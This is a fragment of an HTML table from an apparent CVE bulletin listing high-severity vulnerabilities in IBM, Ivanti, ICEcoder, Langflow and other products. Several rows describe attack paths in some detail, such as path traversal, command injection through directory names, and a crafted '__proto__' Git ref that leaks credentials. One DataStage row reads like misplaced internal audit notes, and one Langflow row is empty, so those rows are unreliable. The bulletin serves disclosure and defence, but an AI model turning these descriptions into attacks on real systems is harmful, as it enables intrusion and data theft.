&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-82098&quot; target=&quot;_blank&quot;&gt;CVE-2026-82098&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;IBM--DataStage on Cloud Pak for Data&lt;/td&gt;
&lt;td&gt;IBM DataStage on Cloud Pak for Data 5.4.0.0 could allow a remote authenticated attacker to execute arbitrary code due to improper neutralization of special elements used in an OS command.&lt;/td&gt;
&lt;td&gt;2026-09-10&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-82099&quot; target=&quot;_blank&quot;&gt;CVE-2026-82099&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;IBM--DataStage on Cloud Pak for Data&lt;/td&gt;
&lt;td&gt;IBM DataStage on Cloud Pak for Data 5.4.0.0 could allow a remote attacker to perform unauthorized actions due to cross-site request forgery.&lt;/td&gt;
&lt;td&gt;2026-09-10&lt;/td&gt;
&lt;td width:&gt;7.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-80380&quot; target=&quot;_blank&quot;&gt;CVE-2026-80380&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;IBM--DataStage on Cloud Pak for Data&lt;/td&gt;
&lt;td&gt;IBM DataStage on Cloud Pak for Data 5.4.0.0 could allow a remote authenticated attacker to manipulate runtime caches and cause a denial of service due to an insecure direct object reference.&lt;/td&gt;
&lt;td&gt;2026-09-10&lt;/td&gt;
&lt;td width:&gt;7.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-80434&quot; target=&quot;_blank&quot;&gt;CVE-2026-80434&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;IBM--DataStage on Cloud Pak for Data&lt;/td&gt;
&lt;td&gt;IBM DataStage on Cloud Pak for Data 5.4.0.0 concatenates three caller-supplied strings into a String.format path on the shared /ds-storage RWX PVC and returns the file with no project ACL - pure IDOR plus traversal. Read is constrained to files named job.log/error.log, but DataStage job logs routinely carry connection strings, {dsnextenc} ciphertexts (decryptable via d2-f023), and customer-data row samples. This is the operator&#039;s tenant-to-tenant PVC-leakage threat verbatim; MEDIUMâ†’HIGH via threat match.&lt;/td&gt;
&lt;td&gt;2026-09-10&lt;/td&gt;
&lt;td width:&gt;7.7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-81210&quot; target=&quot;_blank&quot;&gt;CVE-2026-81210&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;IBM--Db2&lt;/td&gt;
&lt;td&gt;IBM Db2 11.5.0 through 11.5.9, and 12.1.0 through 12.1.5 is vulnerable to a denial of service where a specific functionality on a Db2 server can be disabled by a privileged user under certain conditions.&lt;/td&gt;
&lt;td&gt;2026-09-10&lt;/td&gt;
&lt;td width:&gt;8.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87958&quot; target=&quot;_blank&quot;&gt;CVE-2026-87958&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;IBM--Db2&lt;/td&gt;
&lt;td&gt;IBM Db2 11.5.0 through 11.5.9, and 12.1.0 through 12.1.5 could allow an attacker with the ability to control or impersonate a DRDA server endpoint to execute arbitrary commands on Db2 clients due to a stack-based buffer overflow that improperly copies user-controlled data into a fixed-size stack buffer without bounds checking.&lt;/td&gt;
&lt;td&gt;2026-09-10&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-86093&quot; target=&quot;_blank&quot;&gt;CVE-2026-86093&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;IBM--Enterprise Build of Quarkus&lt;/td&gt;
&lt;td&gt;IBM Enterprise Build of Quarkus 3.27.1 through 3.27.5, and 3.33.1 through 3.33.3 could allow an attacker to bypass authorization by manipulating URL query parameters due to incorrect mapping of values to untrusted query string input.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-19651&quot; target=&quot;_blank&quot;&gt;CVE-2026-19651&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;IBM--Langflow OSS&lt;/td&gt;
&lt;td&gt;IBM Langflow OSS 1.0.0 through 1.11.5 could allow a remote attacker to execute arbitrary OS commands due to improper neutralization of special elements used in an OS command.&lt;/td&gt;
&lt;td&gt;2026-09-10&lt;/td&gt;
&lt;td width:&gt;9.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-79724&quot; target=&quot;_blank&quot;&gt;CVE-2026-79724&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;IBM--Langflow OSS&lt;/td&gt;
&lt;td&gt;IBM Langflow OSS 1.0.0 through 1.11.5 could allow a remote attacker to execute arbitrary code due to code injection during graph construction.&lt;/td&gt;
&lt;td&gt;2026-09-10&lt;/td&gt;
&lt;td width:&gt;9.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-81204&quot; target=&quot;_blank&quot;&gt;CVE-2026-81204&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;IBM--Langflow OSS&lt;/td&gt;
&lt;td&gt;IBM Langflow OSS 1.0.0 through 1.11.5 Langflow could allow an unauthenticated attacker to execute arbitrary code and access or modify chat sessions through publicly shared MCP project endpoints due to improper enforcement of public-flow security restrictions and session isolation controls.&lt;/td&gt;
&lt;td&gt;2026-09-10&lt;/td&gt;
&lt;td width:&gt;9.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-85025&quot; target=&quot;_blank&quot;&gt;CVE-2026-85025&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;IBM--Langflow OSS&lt;/td&gt;
&lt;td&gt;IBM Langflow OSS 1.0.0 through 1.11.5 An attacker who could submit custom component source code could bypass the static security scanner by crafting an annotated class-body assignment that resolved to a dangerous callable through alias tracking; the resolved value was never checked against the dangerous callable blocklist due to the logic error. If the crafted component reached the runtime execution path, the attacker could cause arbitrary operating system commands to execute on the server in-process, with the privileges of the running service.&lt;/td&gt;
&lt;td&gt;2026-09-10&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-76059&quot; target=&quot;_blank&quot;&gt;CVE-2026-76059&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;IBM--Langflow OSS&lt;/td&gt;
&lt;td&gt;IBM Langflow OSS 1.0.0 through 1.11.5 could allow an authenticated attacker to execute arbitrary code due to an incomplete denylist in the security scanner.&lt;/td&gt;
&lt;td&gt;2026-09-10&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-78569&quot; target=&quot;_blank&quot;&gt;CVE-2026-78569&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;IBM--Langflow OSS&lt;/td&gt;
&lt;td&gt;IBM Langflow OSS 1.0.0 through 1.11.5 could allow a remote authenticated attacker to execute arbitrary code due to an unguarded eval() call on attacker-controlled input.&lt;/td&gt;
&lt;td&gt;2026-09-10&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-78571&quot; target=&quot;_blank&quot;&gt;CVE-2026-78571&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;IBM--Langflow OSS&lt;/td&gt;
&lt;td&gt;IBM Langflow OSS 1.0.0 through 1.11.5 could allow a remote authenticated attacker to execute arbitrary commands due to improper validation of command-line arguments in the MCP stdio server configuration.&lt;/td&gt;
&lt;td&gt;2026-09-10&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-78575&quot; target=&quot;_blank&quot;&gt;CVE-2026-78575&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;IBM--Langflow OSS&lt;/td&gt;
&lt;td&gt;IBM Langflow OSS 1.0.0 through 1.11.5 could allow a remote authenticated attacker to execute arbitrary code due to an incomplete environment variable blocklist.&lt;/td&gt;
&lt;td&gt;2026-09-10&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-79742&quot; target=&quot;_blank&quot;&gt;CVE-2026-79742&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;IBM--Langflow OSS&lt;/td&gt;
&lt;td&gt;IBM Langflow OSS 1.0.0 through 1.11.5 could allow a remote authenticated attacker to execute arbitrary Python code due to improper authorization of custom components in stored flows.&lt;/td&gt;
&lt;td&gt;2026-09-10&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-81211&quot; target=&quot;_blank&quot;&gt;CVE-2026-81211&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;IBM--Langflow OSS&lt;/td&gt;
&lt;td&gt;IBM Langflow OSS 1.0.0 through 1.11.5 could allow a remote attacker to obtain sensitive information from internal network resources due to improper validation of user-supplied URLs.&lt;/td&gt;
&lt;td&gt;2026-09-10&lt;/td&gt;
&lt;td width:&gt;8.6&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-81213&quot; target=&quot;_blank&quot;&gt;CVE-2026-81213&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;IBM--Langflow OSS&lt;/td&gt;
&lt;td&gt;IBM Langflow OSS 1.0.0 through 1.11.5 could allow a remote authenticated attacker to execute flows and obtain sensitive information due to insufficient session expiration of API keys after user deactivation.&lt;/td&gt;
&lt;td&gt;2026-09-10&lt;/td&gt;
&lt;td width:&gt;8.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-81268&quot; target=&quot;_blank&quot;&gt;CVE-2026-81268&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;IBM--Langflow OSS&lt;/td&gt;
&lt;td&gt;IBM Langflow OSS 1.0.0 through 1.11.5 could allow a remote authenticated attacker to execute arbitrary code due to improper neutralization of special characters in flow display names.&lt;/td&gt;
&lt;td&gt;2026-09-10&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-81940&quot; target=&quot;_blank&quot;&gt;CVE-2026-81940&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;IBM--Langflow OSS&lt;/td&gt;
&lt;td&gt;IBM Langflow OSS 1.0.0 through 1.11.5 allows an authenticated non-administrative user could execute arbitrary operating system commands on the server at the privilege level of the application process by constructing a flow with an MCP Tools component configured to use a local stdio subprocess transport. This bypasses both the LANGFLOW_CUSTOM_COMPONENT_ADMIN_ONLY and LANGFLOW_BLOCK_CODE_INTERPRETER_COMPONENTS server-side controls intended to prevent exactly this class of access. Successful exploitation could lead to arbitrary command execution, sensitive data exposure (including credentials from the process environment), file system modification, and lateral movement to services reachable from the server.&lt;/td&gt;
&lt;td&gt;2026-09-10&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-81941&quot; target=&quot;_blank&quot;&gt;CVE-2026-81941&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;IBM--Langflow OSS&lt;/td&gt;
&lt;td&gt;IBM Langflow OSS 1.0.0 through 1.10.3 could allow a remote authenticated attacker to execute arbitrary code due to improper limitation of a pathname to a restricted directory.&lt;/td&gt;
&lt;td&gt;2026-09-10&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-84889&quot; target=&quot;_blank&quot;&gt;CVE-2026-84889&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;IBM--Langflow OSS&lt;/td&gt;
&lt;td&gt;IBM Langflow OSS 1.0.0 through 1.11.5.&lt;/td&gt;
&lt;td&gt;2026-09-10&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-81265&quot; target=&quot;_blank&quot;&gt;CVE-2026-81265&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;IBM--webMethods Integration Server&lt;/td&gt;
&lt;td&gt;IBM webMethods Integration Server 11.1 IBM webMethods Integration is vulnerable to an XML external entity injection (XXE) attack when processing XML data. A remote attacker could exploit this vulnerability to expose sensitive information or consume memory resources.&lt;/td&gt;
&lt;td&gt;2026-09-10&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-2310&quot; target=&quot;_blank&quot;&gt;CVE-2026-2310&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;ICEcoder--ICEcoder&lt;/td&gt;
&lt;td&gt;ICEcoder versions through 8.1 contain a path traversal vulnerability in the file-control endpoint due to a logic error in the document-root confinement check. The File::check() validation function compares realpath() to boolean true, which never succeeds, allowing authenticated attackers to submit traversal sequences or absolute paths in the file parameter to read, write, or delete files outside the configured document root.&lt;/td&gt;
&lt;td&gt;2026-09-10&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-64836&quot; target=&quot;_blank&quot;&gt;CVE-2026-64836&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;ICEcoder--ICEcoder&lt;/td&gt;
&lt;td&gt;ICEcoder through 8.1 passes an unescaped filesystem path into a shell command in lib/properties.php, allowing authenticated users to inject OS commands through directory names. Attackers can create directories with shell metacharacters in their names and access the Properties function to execute arbitrary commands as the web-server user via popen().&lt;/td&gt;
&lt;td&gt;2026-09-10&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-64837&quot; target=&quot;_blank&quot;&gt;CVE-2026-64837&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;ICEcoder--ICEcoder&lt;/td&gt;
&lt;td&gt;ICEcoder versions through 8.1 fail to properly validate the oldFileName parameter in file move and rename operations, allowing authenticated users to relocate files from outside the document root. Attackers can use path traversal sequences in oldFileName to move files writable by the PHP process into the web-accessible project directory, disclosing file contents and deleting originals.&lt;/td&gt;
&lt;td&gt;2026-09-10&lt;/td&gt;
&lt;td width:&gt;8.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-64838&quot; target=&quot;_blank&quot;&gt;CVE-2026-64838&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Insyde Software--InsydeH2O&lt;/td&gt;
&lt;td&gt;Unvalidated memory boundary could result in arbitrary code execution. The vulnerability exists in the code developed specifically for HP projects.&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;8.2&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-12855&quot; target=&quot;_blank&quot;&gt;CVE-2026-12855&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Insyde Software--InsydeH2O&lt;/td&gt;
&lt;td&gt;UEFI BIOS embedded Shell could be used to bypass Secure Boot via shell commands or startup scripts.&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;8.2&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-6485&quot; target=&quot;_blank&quot;&gt;CVE-2026-6485&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;irontec--sngrep&lt;/td&gt;
&lt;td&gt;sngrep through 1.8.4 contains stack buffer overflow vulnerabilities in SIP attribute formatting routines when header values exceed the 255-byte buffer limit. Attackers can craft malicious SIP packets with oversized Call-ID, X-Call-ID, or other header fields to overflow stack buffers and cause crashes or execute arbitrary code during packet parsing and rendering.&lt;/td&gt;
&lt;td&gt;2026-09-12&lt;/td&gt;
&lt;td width:&gt;9.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90558&quot; target=&quot;_blank&quot;&gt;CVE-2026-90558&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;isomorphic-git--isomorphic-git&lt;/td&gt;
&lt;td&gt;isomorphic-git before 1.42.0 contains a prototype pollution vulnerability in the getRemoteInfo function that allows a malicious Git server operator to pollute Object.prototype by advertising crafted ref names containing &#039;__proto__&#039; path segments during ref negotiation. Attackers controlling a Git server can advertise a specially crafted ref such as &#039;__proto__/corsProxy&#039; to reroute all subsequent network operations through an attacker-controlled proxy, causing isomorphic-git to invoke the victim&#039;s onAuth callback and transmit credentials to the attacker when the victim calls getRemoteInfo with an attacker-supplied URL.&lt;/td&gt;
&lt;td&gt;2026-09-10&lt;/td&gt;
&lt;td width:&gt;7.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89011&quot; target=&quot;_blank&quot;&gt;CVE-2026-89011&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;itsourcecode--School Management System&lt;/td&gt;
&lt;td&gt;A vulnerability was detected in itsourcecode School Management System 1.0. Impacted is an unknown function of the file User_Login.php. The manipulation of the argument email results in sql injection. The attack can be executed remotely. The exploit is now public and may be used.&lt;/td&gt;
&lt;td&gt;2026-09-07&lt;/td&gt;
&lt;td width:&gt;7.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-86268&quot; target=&quot;_blank&quot;&gt;CVE-2026-86268&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Ivanti--Endpoint Manager Mobile&lt;/td&gt;
&lt;td&gt;Missing authorization in Ivanti Endpoint Manager Mobile before version&amp;nbsp;12.10.0.0, 12.9.0.2, and 12.8.0.4&amp;nbsp;allows a remote authenticated attacker to escalate their&amp;nbsp;privileges to&amp;nbsp;admin.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-18851&quot; target=&quot;_blank&quot;&gt;CVE-2026-18851&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Ivanti--Ivanti Neurons for ITSM&lt;/td&gt;
&lt;td&gt;A Missing Authorization vulnerability in Ivanti Neurons for ITSM before 2026.2 allows a remote authenticated attacker to execute arbitrary code on the server.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;9.9&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-12645&quot; target=&quot;_blank&quot;&gt;CVE-2026-12645&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Ivanti--Ivanti Neurons for ITSM&lt;/td&gt;
&lt;td&gt;A Missing Authorization vulnerability in Ivanti Neurons for ITSM before 2026.2 allows a remote authenticated attacker to execute arbitrary code on the server.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;9.9&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-12646&quot; target=&quot;_blank&quot;&gt;CVE-2026-12646&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Ivanti--Ivanti Neurons for ITSM&lt;/td&gt;
&lt;td&gt;A Missing Authorization vulnerability in Ivanti Neurons for ITSM before 2026.2 allows a remote authenticated attacker to execute arbitrary code on the server.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;9.9&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-12647&quot; target=&quot;_blank&quot;&gt;CVE-2026-12647&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Ivanti--Neurons for ITSM&lt;/td&gt;
&lt;td&gt;A Deserialization of Untrusted Data vulnerability in Ivanti Neurons for ITSM before 2026.2 allows a remote authenticated attacker to execute arbitrary code on the server.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;9.9&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-12650&quot; target=&quot;_blank&quot;&gt;CVE-2026-12650&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Ivanti--Neurons for ITSM&lt;/td&gt;
&lt;td&gt;A Deserialization of Untrusted Data vulnerability in Ivanti Neurons for ITSM before 2026.2 allows a remote unauthenticated attacker to execute arbitrary code on the server.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;9.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-12744&quot; target=&quot;_blank&quot;&gt;CVE-2026-12744&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Ivanti--Neurons for ITSM&lt;/td&gt;
&lt;td&gt;A Deserialization of Untrusted Data vulnerability in Ivanti Neurons for ITSM before 2026.2 allows a remote unauthenticated attacker to execute arbitrary code on the server.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;9.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-12745&quot; target=&quot;_blank&quot;&gt;CVE-2026-12745&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Ivanti--Neurons for ITSM&lt;/td&gt;
&lt;td&gt;A Deserialization of Untrusted Data vulnerability in Ivanti Neurons for ITSM before 2026.2 allows a remote authenticated attacker to execute arbitrary code on the server.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-12648&quot; target=&quot;_blank&quot;&gt;CVE-2026-12648&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Ivanti--Neurons for ITSM&lt;/td&gt;
&lt;td&gt;A Deserialization of Untrusted Data vulnerability in Ivanti Neurons for ITSM before 2026.2 allows a remote authenticated attacker to execute arbitrary code on the server.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-12651&quot; target=&quot;_blank&quot;&gt;CVE-2026-12651&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Ivanti--Sentry&lt;/td&gt;
&lt;td&gt;An Authentication Bypass vulnerability in Sentry before&amp;nbsp;R10.8.2, R10.7.3 and R10.6.4&amp;nbsp;allows a remote unauthenticated attacker to gain&amp;nbsp;administrative&amp;nbsp;level access.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;8.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83527&quot; target=&quot;_blank&quot;&gt;CVE-2026-83527&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;jaychouchannel--Tourism-Management-System&lt;/td&gt;
&lt;td&gt;A weakness has been identified in jaychouchannel Tourism-Management-System up to 8122bf020d91199eddfff3ee02d1632a70a9a132. Affected is an unknown function of the file travel/src/main/java/com/controller/CommonController.java of the component CommonDao. Executing a manipulation of the argument table/column/xColumn/yColumn can lead to sql injection. The attack can be launched remotely. The exploit has been made available to the public and could be used for attacks. This product does not use versioning. This is why information about affected and unaffected releases are unavailable. This patch is called d44ec3aa0bd2a72c8800e3befb0a9a96a6491b86. A patch should be applied to remediate this issue.&lt;/td&gt;
&lt;td&gt;2026-09-07&lt;/td&gt;
&lt;td width:&gt;7.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-86282&quot; target=&quot;_blank&quot;&gt;CVE-2026-86282&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;jaychouchannel--Tourism-Management-System&lt;/td&gt;
&lt;td&gt;A vulnerability was determined in jaychouchannel Tourism-Management-System up to d984d172dceca907f8b447efbdb06dc233f7938d. Impacted is the function resetPass of the file UsersController.java of the component Password Recovery. This manipulation causes weak password recovery. The attack can be initiated remotely. The exploit has been publicly disclosed and may be utilized. Continious delivery with rolling releases is used by this product. Therefore, no version details of affected nor updated releases are available. Patch name: 9cb6215ac871f99a90cde763cf003e95ff282283. It is recommended to apply a patch to fix this issue.&lt;/td&gt;
&lt;td&gt;2026-09-13&lt;/td&gt;
&lt;td width:&gt;7.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90522&quot; target=&quot;_blank&quot;&gt;CVE-2026-90522&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;jaychouchannel--Tourism-Management-System&lt;/td&gt;
&lt;td&gt;A vulnerability was identified in jaychouchannel Tourism-Management-System up to 229956e20dbd4a80eeff14535e44d3099502af09. The affected element is an unknown function of the file travel/src/main/java/com/controller/UsersController.java of the component User Register Endpoint. Such manipulation of the argument UsersEntity leads to improper privilege management. The attack can be launched remotely. The exploit is publicly available and might be used. This product does not use versioning. This is why information about affected and unaffected releases are unavailable. The name of the patch is 84d8ec384f669df3985293dab293bb7b477efa64. Applying a patch is advised to resolve this issue.&lt;/td&gt;
&lt;td&gt;2026-09-13&lt;/td&gt;
&lt;td width:&gt;7.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90523&quot; target=&quot;_blank&quot;&gt;CVE-2026-90523&lt;/a&gt;&lt;/td&gt;
